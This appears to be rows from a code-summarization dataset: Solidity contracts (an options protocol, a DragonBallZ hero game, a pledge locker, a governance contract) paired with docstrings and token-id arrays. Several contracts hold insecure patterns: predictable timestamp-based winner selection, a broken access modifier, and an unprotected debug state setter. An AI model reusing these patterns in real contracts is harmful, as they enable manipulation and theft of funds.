require(option.expiration >= block.timestamp, "Option has expired");
require(option.holder == msg.sender, "Invalid Caller");
require(option.state == State.Active, "Invalid state");
option.state = State.Exercised;
(uint256 profit, uint256 settlementFee) = _getProfit(_optionId);
IOddzAsset.AssetPair memory pair = assetManager.getPair(option.pair);
pool.sendUA(_optionId, option.holder, profit, pair._primary, pair._strike, _deadline, _minAmountOut);
emit Exercise(_optionId, profit, settlementFee, ExcerciseType.Physical);
}
function enableOptionTransfer(uint256 _optionId, uint256 _minAmount) external {
Option storage option = options[_optionId];
require(
option.expiration > (block.timestamp + assetManager.getMinPeriod(option.pair)),
"Option not eligble for transfer"
);
require(option.holder == msg.sender, "Invalid Caller");
require(option.state == State.Active, "Invalid state");
require(_minAmount >= minimumPremium, "amount is lower than minimum premium");
optionTransferMap[_optionId] = _minAmount;
emit OptionTransferEnabled(_optionId, _minAmount);
}
function optionTransfer(
uint256 _optionId,
address _newOwner,
uint256 _minAmount
) external {
Option storage option = options[_optionId];
require(
option.expiration > (block.timestamp + assetManager.getMinPeriod(option.pair)),
"Option not eligble for transfer"
);
uint256 minAmount = optionTransferMap[_optionId];
require(minAmount > 0, "Option not enabled for transfer");
require(minAmount == _minAmount, "Invalid negotiated amount");
require(option.state == State.Active, "Invalid state");
require(option.holder != msg.sender && option.holder != _newOwner, "Self option transfer is not allowed");
// once transfer initiated update option tranfer map
delete optionTransferMap[_optionId];
uint256 transferFee = _getTransactionFee(minAmount, _newOwner);
txnFeeAggregate += transferFee;
_validateOptionAmount(token.allowance(msg.sender, address(this)), minAmount + transferFee);
token.safeTransferFrom(msg.sender, option.holder, minAmount);
token.safeTransferFrom(msg.sender, address(this), transferFee);
address oldHolder = option.holder;
option.holder = _newOwner;
emit OptionTransfer(_optionId, oldHolder, _newOwner, minAmount, transferFee);
}
/**
* @notice Transaction fee calculation for the option premium
* @param _amount Option premium
* @param _buyer Option buyer address
* @return txnFee Transaction Fee
*/
function _getTransactionFee(uint256 _amount, address _buyer) private view returns (uint256 txnFee) {
txnFee = ((_amount * oddzFeeManager.getTransactionFee(_buyer)) / (100 * 10**oddzFeeManager.decimals()));
}
/**
* @notice Sends profits in USD from the USD pool to an option holder's address
* @param _optionId ID of the option
*/
function _getProfit(uint256 _optionId) private returns (uint256 profit, uint256 settlementFee) {
Option memory option = options[_optionId];
IOddzAsset.AssetPair memory pair = assetManager.getPair(option.pair);
uint256 _cp = _getCurrentPrice(pair);
if (option.optionType == OptionType.Call) {
require(option.strike <= _cp, "Call option: Current price is too low");
profit = (_cp - option.strike) * option.amount;
} else {
require(option.strike >= _cp, "Put option: Current price is too high");
profit = (option.strike - _cp) * option.amount;
}
// amount in wei
profit = profit / 1e18;
// convert profit to usd decimals
profit = _updatePrecision(profit, assetManager.getPrecision(pair._primary), token.decimals());
if (profit > option.lockedAmount) profit = option.lockedAmount;
settlementFee = ((profit * oddzFeeManager.getSettlementFee(msg.sender)) /
(100 * 10**oddzFeeManager.decimals()));
settlementFeeAggregate += settlementFee;
token.safeTransferFrom(msg.sender, address(this), settlementFee);
}
/**
* @notice Unlock funds locked in the expired options
* @param _optionId ID of the option
*/
function unlock(uint256 _optionId) public {
Option storage option = options[_optionId];
require(option.expiration < block.timestamp, "Option has not expired yet");
require(option.state == State.Active, "Option is not active");
option.state = State.Expired;
pool.unlockLiquidity(_optionId);
emit Expire(_optionId, option.premium);
}
/**
* @notice Unlocks an array of options
* @param _optionIds array of options
*/
function unlockAll(uint256[] calldata _optionIds) external {
uint256 arrayLength = _optionIds.length;
for (uint256 i = 0; i < arrayLength; i++) {
unlock(_optionIds[i]);
}
}
/**
* @notice sets maximum deadline for DEX swap
* @param _deadline maximum swap transaction time
*/
function setMaxDeadline(uint32 _deadline) external onlyOwner(msg.sender) {
maxDeadline = _deadline;
}
/**
* @notice sets SDK address
* @param _sdk Oddz SDK address
*/
function setSdk(IOddzSDK _sdk) external onlyTimeLocker(msg.sender) {
require(address(_sdk).isContract(), "invalid SDK contract address");
sdk = _sdk;
}
/**
* @notice sets administrator address
* @param _administrator Oddz administrator address
*/
function setAdministrator(IOddzAdministrator _administrator) external onlyTimeLocker(msg.sender) {
require(address(_administrator).isContract(), "invalid administrator contract address");
// Set token allowance of previous administrator to 0
if (address(administrator) != address(0)) token.safeApprove(address(administrator), 0);
administrator = _administrator;
// Approve token transfer to administrator contract
token.safeApprove(address(administrator), type(uint256).max);
}
function setMinimumPremium(uint256 _amount) external onlyTimeLocker(msg.sender) {
uint256 amount = _amount / 10**token.decimals();
require(amount >= 1 && amount < 50, "invalid minimum premium");
minimumPremium = _amount;
}
function setTimeLocker(address _address) external {
require(_address != address(0), "Invalid timelocker address");
grantRole(TIMELOCKER_ROLE, _address);
}
function removeTimeLocker(address _address) external {
revokeRole(TIMELOCKER_ROLE, _address);
}
/**
* @notice transfer transaction fee to beneficiary
*/
function transferTxnFeeToBeneficiary(uint256 _minAmountsOut) external onlyOwner(msg.sender) {
uint256 txnFee = txnFeeAggregate;
txnFeeAggregate = 0;
require(address(administrator) != address(0), "invalid administrator address");
administrator.deposit(txnFee, IOddzAdministrator.DepositType.Transaction, _minAmountsOut);
}
/**
* @notice transfer settlement fee to beneficiary
*/
function transferSettlementFeeToBeneficiary(uint256 _minAmountsOut) external onlyOwner(msg.sender) {
uint256 settlementFee = settlementFeeAggregate;
settlementFeeAggregate = 0;
require(address(administrator) != address(0), "invalid administrator address");
administrator.deposit(settlementFee, IOddzAdministrator.DepositType.Settlement, _minAmountsOut);
}
/**
* @notice update precision from current to required
* @param _value value to be precision updated
* @param _current current precision
* @param _required required precision
* @return result updated _value
*/
function _updatePrecision(
uint256 _value,
uint8 _current,
uint8 _required
) private pure returns (uint256 result) {
if (_required > _current) result = (_value * (10**_required)) / (10**_current);
else result = (_value * (10**_current)) / (10**_required);
}
}
|
* @notice Transaction fee calculation for the option premium @param _amount Option premium @param _buyer Option buyer address @return txnFee Transaction Fee/
|
function _getTransactionFee(uint256 _amount, address _buyer) private view returns (uint256 txnFee) {
txnFee = ((_amount * oddzFeeManager.getTransactionFee(_buyer)) / (100 * 10**oddzFeeManager.decimals()));
}
| 1,758,467 |
[
1,
3342,
14036,
11096,
364,
326,
1456,
23020,
5077,
225,
389,
8949,
2698,
23020,
5077,
225,
389,
70,
16213,
2698,
27037,
1758,
327,
7827,
14667,
5947,
30174,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
588,
3342,
14667,
12,
11890,
5034,
389,
8949,
16,
1758,
389,
70,
16213,
13,
3238,
1476,
1135,
261,
11890,
5034,
7827,
14667,
13,
288,
203,
3639,
7827,
14667,
273,
14015,
67,
8949,
380,
14800,
94,
14667,
1318,
18,
588,
3342,
14667,
24899,
70,
16213,
3719,
342,
261,
6625,
380,
1728,
636,
31755,
94,
14667,
1318,
18,
31734,
1435,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/*
Game: Dragon Ball Super ( Tournament of Power )
Domain: EtherDragonBall.com
*/
contract DragonBallZ {
//The contract creator and dev fee addresses are defined here
address contractCreator = 0x606A19ea257aF8ED76D160Ad080782C938660A33;
address devFeeAddress = 0xAe406d5900DCe1bB7cF3Bc5e92657b5ac9cBa34B;
struct Hero {
string heroName;
address ownerAddress;
address DBZHeroOwnerAddress;
uint256 currentPrice;
uint currentLevel;
}
Hero[] heroes;
//The number of heroes in Tournament of Power
uint256 heroMax = 55;
//The array defined for winner variable
uint256[] winners;
modifier onlyContractCreator() {
require (msg.sender == contractCreator);
_;
}
bool isPaused;
/*
We use the following functions to pause and unpause the game.
*/
function pauseGame() public onlyContractCreator {
isPaused = true;
}
function unPauseGame() public onlyContractCreator {
isPaused = false;
}
function GetGamestatus() public view returns(bool) {
return(isPaused);
}
/*
This function allows users to purchase Tournament of Power heroes
The price is automatically multiplied by 2 after each purchase.
Users can purchase multiple heroes.
*/
function purchaseHero(uint _heroId) public payable {
//Check if current price of hero is equal with the price entered to purchase the hero
require(msg.value == heroes[_heroId].currentPrice);
//Check if the game is not PAUSED
require(isPaused == false);
// Calculate the 10% of Tournament of Power prize fee
uint256 TournamentPrizeFee = (msg.value / 10); // => 10%
// Calculate the 5% - Dev fee
uint256 devFee = ((msg.value / 10)/2); // => 5%
// Calculate the 10% commission - Dragon Ball Z Hero Owner
uint256 DBZHeroOwnerCommission = (msg.value / 10); // => 10%
// Calculate the current hero owner commission on this sale & transfer the commission to the owner.
uint256 commissionOwner = (msg.value - (devFee + TournamentPrizeFee + DBZHeroOwnerCommission));
heroes[_heroId].ownerAddress.transfer(commissionOwner); // => 75%
// Transfer the 10% commission to the DBZ Hero Owner
heroes[_heroId].DBZHeroOwnerAddress.transfer(DBZHeroOwnerCommission); // => 10%
// Transfer the 5% commission to the Dev
devFeeAddress.transfer(devFee); // => 5%
//The hero will be leveled up after new purchase
heroes[_heroId].currentLevel +=1;
// Update the hero owner and set the new price (2X)
heroes[_heroId].ownerAddress = msg.sender;
heroes[_heroId].currentPrice = mul(heroes[_heroId].currentPrice, 2);
}
/*
This function will be used to update the details of DBZ hero details by the contract creator
*/
function updateDBZHeroDetails(uint _heroId, string _heroName,address _ownerAddress, address _newDBZHeroOwnerAddress, uint _currentLevel) public onlyContractCreator{
require(heroes[_heroId].ownerAddress != _newDBZHeroOwnerAddress);
heroes[_heroId].heroName = _heroName;
heroes[_heroId].ownerAddress = _ownerAddress;
heroes[_heroId].DBZHeroOwnerAddress = _newDBZHeroOwnerAddress;
heroes[_heroId].currentLevel = _currentLevel;
}
/*
This function can be used by the owner of a hero to modify the price of its hero.
The hero owner can make the price lesser than the current price only.
*/
function modifyCurrentHeroPrice(uint _heroId, uint256 _newPrice) public {
require(_newPrice > 0);
require(heroes[_heroId].ownerAddress == msg.sender);
require(_newPrice < heroes[_heroId].currentPrice);
heroes[_heroId].currentPrice = _newPrice;
}
// This function will return all of the details of the Tournament of Power heroes
function getHeroDetails(uint _heroId) public view returns (
string heroName,
address ownerAddress,
address DBZHeroOwnerAddress,
uint256 currentPrice,
uint currentLevel
) {
Hero storage _hero = heroes[_heroId];
heroName = _hero.heroName;
ownerAddress = _hero.ownerAddress;
DBZHeroOwnerAddress = _hero.DBZHeroOwnerAddress;
currentPrice = _hero.currentPrice;
currentLevel = _hero.currentLevel;
}
// This function will return only the price of a specific hero
function getHeroCurrentPrice(uint _heroId) public view returns(uint256) {
return(heroes[_heroId].currentPrice);
}
// This function will return only the price of a specific hero
function getHeroCurrentLevel(uint _heroId) public view returns(uint256) {
return(heroes[_heroId].currentLevel);
}
// This function will return only the owner address of a specific hero
function getHeroOwner(uint _heroId) public view returns(address) {
return(heroes[_heroId].ownerAddress);
}
// This function will return only the DBZ owner address of a specific hero
function getHeroDBZHeroAddress(uint _heroId) public view returns(address) {
return(heroes[_heroId].DBZHeroOwnerAddress);
}
// This function will return only Tournament of Power total prize
function getTotalPrize() public view returns(uint256) {
return this.balance;
}
/**
@dev Multiplies two numbers, throws on overflow. => From the SafeMath library
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
@dev Integer division of two numbers, truncating the quotient. => From the SafeMath library
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
// This function will be used to add a new hero by the contract creator
function addHero(string _heroName, address _ownerAddress, address _DBZHeroOwnerAddress, uint256 _currentPrice, uint _currentLevel) public onlyContractCreator {
heroes.push(Hero(_heroName,_ownerAddress,_DBZHeroOwnerAddress,_currentPrice,_currentLevel));
}
/*
This function will be used by the contract creator to generate 5 heroes ID randomly out of 55 heroes
and it can be generated only once and cannot be altered at all even by contractCreator
*/
function getWinner() public onlyContractCreator returns (uint256[]) {
uint i;
//Loop to generate 5 random hero IDs from 55 heroes
for(i=0;i<=4;i++){
//Block timestamp and number used to generate the random number
winners.push(uint256(sha256(block.timestamp, block.number-i-1)) % heroMax);
}
return winners;
}
// This function will return only the winner's hero id
function getWinnerDetails(uint _winnerId) public view returns(uint256) {
return(winners[_winnerId]);
}
/*
This function can be used by the contractCreator to start the payout to the lucky 5 winners
The payout will be initiated in a week time
*/
function payoutWinners() public onlyContractCreator {
//Assign 20% of total contract eth
uint256 TotalPrize20PercentShare = (this.balance/5);
uint i;
for(i=0;i<=4;i++){
// Get the hero ID from getWinnerDetails function - Randomly generated
uint _heroID = getWinnerDetails(i);
// Assign the owner address of hero ID - Randomly generated
address winner = heroes[_heroID].ownerAddress;
if(winner != address(0)){
// Transfer the 20% of total contract eth to each winner (5 winners in total)
winner.transfer(TotalPrize20PercentShare);
}
// Reset the winner's address after payout for next loop
winner = address(0);
}
}
}
|
This function will return all of the details of the Tournament of Power heroes
|
function getHeroDetails(uint _heroId) public view returns (
string heroName,
address ownerAddress,
address DBZHeroOwnerAddress,
uint256 currentPrice,
uint currentLevel
) {
Hero storage _hero = heroes[_heroId];
heroName = _hero.heroName;
ownerAddress = _hero.ownerAddress;
DBZHeroOwnerAddress = _hero.DBZHeroOwnerAddress;
currentPrice = _hero.currentPrice;
currentLevel = _hero.currentLevel;
}
| 6,749,195 |
[
1,
2503,
445,
903,
327,
777,
434,
326,
3189,
434,
326,
2974,
30751,
434,
23783,
366,
2439,
281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
7628,
2439,
3790,
12,
11890,
389,
1614,
83,
548,
13,
1071,
1476,
1135,
261,
203,
3639,
533,
366,
2439,
461,
16,
203,
3639,
1758,
3410,
1887,
16,
203,
3639,
1758,
2383,
62,
44,
2439,
5541,
1887,
16,
203,
3639,
2254,
5034,
783,
5147,
16,
203,
3639,
2254,
783,
2355,
203,
565,
262,
288,
203,
3639,
670,
2439,
2502,
389,
1614,
83,
273,
366,
2439,
281,
63,
67,
1614,
83,
548,
15533,
203,
203,
3639,
366,
2439,
461,
273,
389,
1614,
83,
18,
1614,
83,
461,
31,
203,
3639,
3410,
1887,
273,
389,
1614,
83,
18,
8443,
1887,
31,
203,
3639,
2383,
62,
44,
2439,
5541,
1887,
273,
389,
1614,
83,
18,
2290,
62,
44,
2439,
5541,
1887,
31,
203,
3639,
783,
5147,
273,
389,
1614,
83,
18,
2972,
5147,
31,
203,
3639,
783,
2355,
273,
389,
1614,
83,
18,
2972,
2355,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Locker {
// create new type for states of the contract
enum State {RUNNING, WAITING_FOR_CONFIRMATION, READY_TO_PAYOUT, COMPLETE}
// variable to track the current state of the contract
State public currState;
bool public confirmedByPledgee;
bool public confirmedBySupporter;
//how much the pledgee has initialle locked
uint public initialInvestment;
//how much the supporters have added to the initialInvestment
uint public supporterInvestment;
//time until the contract returns
uint256 public contractEndTime;
//this is the guy that has a goal, confirms achievment and locks his funds
address payable public pledgee;
//this is the guy that confirms that the achievement is true,
//raises the amount of funds in the contract
//and receives a portion of the total funds in the end
address payable public supporter;
//only the Pledgee can call functions containing this modifier
modifier onlyPledgee(){
require(msg.sender == pledgee, "Only Pledgee can call this method");
_;
}
//only the Pledgee can call functions containing this modifier, e.g. confirming the achiement
modifier onlySupporter(){
require(msg.sender == supporter, "Only Supporter can call this method");
_;
}
//only the Pledgee OR Supporter can call functions containing this modifier, e.g. confirming the achiement
modifier onlySupporterOrPledgee(){
require(msg.sender == pledgee, "Only Pledgee or Supporter can call this method");
_;
require(msg.sender == supporter, "Only Pledgee or Supporter can call this method");
_;
}
constructor(address payable _pledgee, address payable _supporter, uint256 _contractEndTime) payable public {
pledgee = _pledgee;
supporter = _supporter;
contractEndTime = _contractEndTime;
initialInvestment = msg.value;
currState = State.RUNNING;
}
//pledgee and supporter can confirm that goal is reached
function confirmReachedGoal() onlySupporterOrPledgee external{
require(currState == State.WAITING_FOR_CONFIRMATION, "Endtime not reached yet. Please wait until contract ends.");
if (msg.sender == pledgee && confirmedByPledgee == false){
confirmedByPledgee = true;
} else if (msg.sender == supporter && confirmedBySupporter == false){
confirmedBySupporter = true;
} else{
revert("Either you have already confirmed or you are not the supporter or the pledgee!");
}
}
//event that is triggered when time is reached and both, pledgee and supporter, have confirmed
//JUST FOR DEBUGGING! DELETE FOR PRODUCTION! Function to trigger the "WAITING_FOR_CONFIRMATION" state before end time is reached
function setState() public returns(State) {
currState = State.WAITING_FOR_CONFIRMATION;
return currState;
}
}
|
only the Pledgee can call functions containing this modifier, e.g. confirming the achiement
|
modifier onlySupporter(){
require(msg.sender == supporter, "Only Supporter can call this method");
_;
}
| 15,847,961 |
[
1,
3700,
326,
453,
19998,
73,
848,
745,
4186,
4191,
333,
9606,
16,
425,
18,
75,
18,
6932,
310,
326,
279,
24010,
820,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
3088,
7988,
1435,
95,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1169,
7988,
16,
315,
3386,
3425,
7988,
848,
745,
333,
707,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT OR Apache-2.0
import "./Config.sol";
import "./Utils.sol";
import "./NFTFactory.sol";
import "./TokenGovernance.sol";
/// @title Governance Contract
/// @author Matter Labs
contract Governance is Config {
/// @notice Token added to Franklin net
event NewToken(address indexed token, uint16 indexed tokenId);
/// @notice Default nft factory has set
event SetDefaultNFTFactory(address indexed factory);
/// @notice NFT factory registered new creator account
event NFTFactoryRegisteredCreator(
uint32 indexed creatorAccountId,
address indexed creatorAddress,
address factoryAddress
);
/// @notice Governor changed
event NewGovernor(address newGovernor);
/// @notice Token Governance changed
event NewTokenGovernance(TokenGovernance newTokenGovernance);
/// @notice Validator's status changed
event ValidatorStatusUpdate(address indexed validatorAddress, bool isActive);
event TokenPausedUpdate(address indexed token, bool paused);
/// @notice Address which will exercise governance over the network i.e. add tokens, change validator set, conduct upgrades
address public networkGovernor;
/// @notice Total number of ERC20 tokens registered in the network (excluding ETH, which is hardcoded as tokenId = 0)
uint16 public totalTokens;
/// @notice List of registered tokens by tokenId
mapping(uint16 => address) public tokenAddresses;
/// @notice List of registered tokens by address
mapping(address => uint16) public tokenIds;
/// @notice List of permitted validators
mapping(address => bool) public validators;
/// @notice Paused tokens list, deposits are impossible to create for paused tokens
mapping(uint16 => bool) public pausedTokens;
/// @notice Address that is authorized to add tokens to the Governance.
TokenGovernance public tokenGovernance;
/// @notice NFT Creator address to factory address mapping
mapping(uint32 => mapping(address => NFTFactory)) public nftFactories;
/// @notice Address which will be used if NFT token has no factories
NFTFactory public defaultFactory;
/// @notice Governance contract initialization. Can be external because Proxy contract intercepts illegal calls of this function.
/// @param initializationParameters Encoded representation of initialization parameters:
/// _networkGovernor The address of network governor
function initialize(bytes calldata initializationParameters) external {
address _networkGovernor = abi.decode(initializationParameters, (address));
networkGovernor = _networkGovernor;
}
/// @notice Governance contract upgrade. Can be external because Proxy contract intercepts illegal calls of this function.
/// @param upgradeParameters Encoded representation of upgrade parameters
// solhint-disable-next-line no-empty-blocks
function upgrade(bytes calldata upgradeParameters) external {}
/// @notice Change current governor
/// @param _newGovernor Address of the new governor
function changeGovernor(address _newGovernor) external {
requireGovernor(msg.sender);
if (networkGovernor != _newGovernor) {
networkGovernor = _newGovernor;
emit NewGovernor(_newGovernor);
}
}
/// @notice Change current token governance
/// @param _newTokenGovernance Address of the new token governor
function changeTokenGovernance(TokenGovernance _newTokenGovernance) external {
requireGovernor(msg.sender);
if (tokenGovernance != _newTokenGovernance) {
tokenGovernance = _newTokenGovernance;
emit NewTokenGovernance(_newTokenGovernance);
}
}
/// @notice Add token to the list of networks tokens
/// @param _token Token address
function addToken(address _token) external {
require(msg.sender == address(tokenGovernance), "1E");
require(tokenIds[_token] == 0, "1e"); // token exists
require(totalTokens < MAX_AMOUNT_OF_REGISTERED_TOKENS, "1f"); // no free identifiers for tokens
totalTokens++;
uint16 newTokenId = totalTokens; // it is not `totalTokens - 1` because tokenId = 0 is reserved for eth
tokenAddresses[newTokenId] = _token;
tokenIds[_token] = newTokenId;
emit NewToken(_token, newTokenId);
}
/// @notice Pause token deposits for the given token
/// @param _tokenAddr Token address
/// @param _tokenPaused Token paused status
function setTokenPaused(address _tokenAddr, bool _tokenPaused) external {
requireGovernor(msg.sender);
uint16 tokenId = this.validateTokenAddress(_tokenAddr);
if (pausedTokens[tokenId] != _tokenPaused) {
pausedTokens[tokenId] = _tokenPaused;
emit TokenPausedUpdate(_tokenAddr, _tokenPaused);
}
}
/// @notice Change validator status (active or not active)
/// @param _validator Validator address
/// @param _active Active flag
function setValidator(address _validator, bool _active) external {
requireGovernor(msg.sender);
